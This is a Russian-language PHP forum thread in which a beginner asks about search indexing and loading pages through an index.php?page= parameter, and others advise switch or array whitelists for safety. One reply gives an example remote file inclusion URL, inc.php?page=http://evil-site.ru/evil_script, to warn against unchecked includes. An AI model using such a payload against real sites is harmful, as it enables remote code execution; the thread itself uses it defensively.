![]() |
|
Модераторы: skyboy, MoLeX, Aliance, ksnk |
![]()
|
|
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
Суть такова. Страницы сайта index.php, soft.php, hard.php собираются следующим образом
мне интересно как будет индексировааться такой ресурс и будет ли вообще. Основная информация генерируется скриптами main_*.php но отображение осуществляют index,soft,hard и прочие .php которые являют собой склейки меню и информационнного окна. Индексация нужна только страниц index,soft,hard но ни в коем случае не кусков main_*.php |
|||
|
||||
| PARROT |
|
|||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
Будут если подключать в индексный файл и для каждой страницы генерировать свой ключи, ключевые слова и т.д.
-------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
Пасиб!!! Ещё вопрос вдогонку по той же теме.
Как реализовать весчь, чтобы по клику на ссылке в левом меню подгружалась как раз эта нужная $page в Include а не какая-нибудь страница целиком? |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
О! Реализовал вот так:
index.php
Теперь ссылки с левого меню делаем такими: ...index.php?page=news.php Это нормально или криво? Если есть способ эффективней, то рад буду посмотреть. Не бейте ногами только осваиваю php Это сообщение отредактировал(а) Jey_k - 19.9.2005, 14:58 |
|||
|
||||
| PARROT |
|
||||||
![]() Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 2339 Регистрация: 5.1.2005 Где: Спб-ЦарьГрад Репутация: 23 Всего: 50 |
Ссылки будут выглядеть вот так:
расширение лишнее. Для подключения ключевых слов для каждой страницы, используй следующее:
Для остальных своих страниц напиши сам. Говорят что эти правила необходимо соблюдать, по количеству слов. -------------------- Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим! |
||||||
|
|||||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
PARROT
Ну респектище тебе просто огромное Добавлено @ 15:20
На локальной машине понимать не хочет, только с расширением. Наверное просто апач старый и интерпретатор тоже. |
|||
|
||||
| Mal Hack |
|
||||||
![]() Мудрый... ![]() ![]() ![]() ![]() Профиль Группа: Участник Клуба Сообщений: 9926 Регистрация: 15.2.2004 Репутация: 122 Всего: 261 |
Это несколько не правильно с точки зрения безопасности. Тут лучше что-ть типа этого:
Лучше через empty проверять. Плюс не забывай про глобальные массивы $_GET, $_POST. |
||||||
|
|||||||
| Jey_k |
|
||||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
Вот это бы да с примерчиком
Тогда адресовать страницы так: ...index.php?page=1 ? |
||||
|
|||||
| Mal Hack |
|
|||
![]() Мудрый... ![]() ![]() ![]() ![]() Профиль Группа: Участник Клуба Сообщений: 9926 Регистрация: 15.2.2004 Репутация: 122 Всего: 261 |
Как хочешь. Просто ты должен в case нужное значение прописать. Это избавит от ошибки подгрузки других файлов. |
|||
|
||||
| Bikutoru |
|
|||
|
Увлекающийся ![]() ![]() Профиль Группа: Участник Сообщений: 522 Регистрация: 24.5.2005 Где: Москва Репутация: 8 Всего: 22 |
Кстати, вместо switch'а можно использовать массив
Теперь управление списком подключаемых страниц становится малость поудобнее... Это сообщение отредактировал(а) Bikutoru - 20.9.2005, 08:30 -------------------- Человек, словно в зеркале мир — многолик, Он ничтожен — и он же безмерно велик! Омар Хайям |
|||
|
||||
| Mal Hack |
|
|||
![]() Мудрый... ![]() ![]() ![]() ![]() Профиль Группа: Участник Клуба Сообщений: 9926 Регистрация: 15.2.2004 Репутация: 122 Всего: 261 |
Не сказал бы. Это на любителя и на задачу. |
|||
|
||||
| Jey_k |
|
|||
![]() WEB-командир ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 4149 Регистрация: 16.11.2003 Где: Москва Репутация: 1 Всего: 61 |
В принципе там не так много траниц. Воспользуюсь наверное кейсом. Но вариант с массивом запишу.
|
|||
|
||||
| Bikutoru |
|
||||
|
Увлекающийся ![]() ![]() Профиль Группа: Участник Сообщений: 522 Регистрация: 24.5.2005 Где: Москва Репутация: 8 Всего: 22 |
Не спорю.
Мне, например, лень кучу раз писать include в switch'е.
Если это подключение необходимо делать в нескольких местах, то лучше будет иметь один список подключаемых файлов, но это при условии, что файлы и там и тут одни и те же. А вот если они различны... switch нам поможет -------------------- Человек, словно в зеркале мир — многолик, Он ничтожен — и он же безмерно велик! Омар Хайям |
||||
|
|||||
| Мастер |
|
|||
|
Unregistered |
Код открытия файлов через "?page".
|
|||
|
||||
| Bikutoru |
|
|||
|
Увлекающийся ![]() ![]() Профиль Группа: Участник Сообщений: 522 Регистрация: 24.5.2005 Где: Москва Репутация: 8 Всего: 22 |
Мастер, так делать не надо. Ведь и такая штука прокатить может:
inc.php?page=http://evil-site.ru/evil_script -------------------- Человек, словно в зеркале мир — многолик, Он ничтожен — и он же безмерно велик! Омар Хайям |
|||
|
||||
![]()
|
| Правила форума "PHP" | |
|
|
Новичкам:
Важно:
Внимание:
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, IZ@TOP, skyboy, SamDark, MoLeX, awers. |
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | PHP: Общие вопросы | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |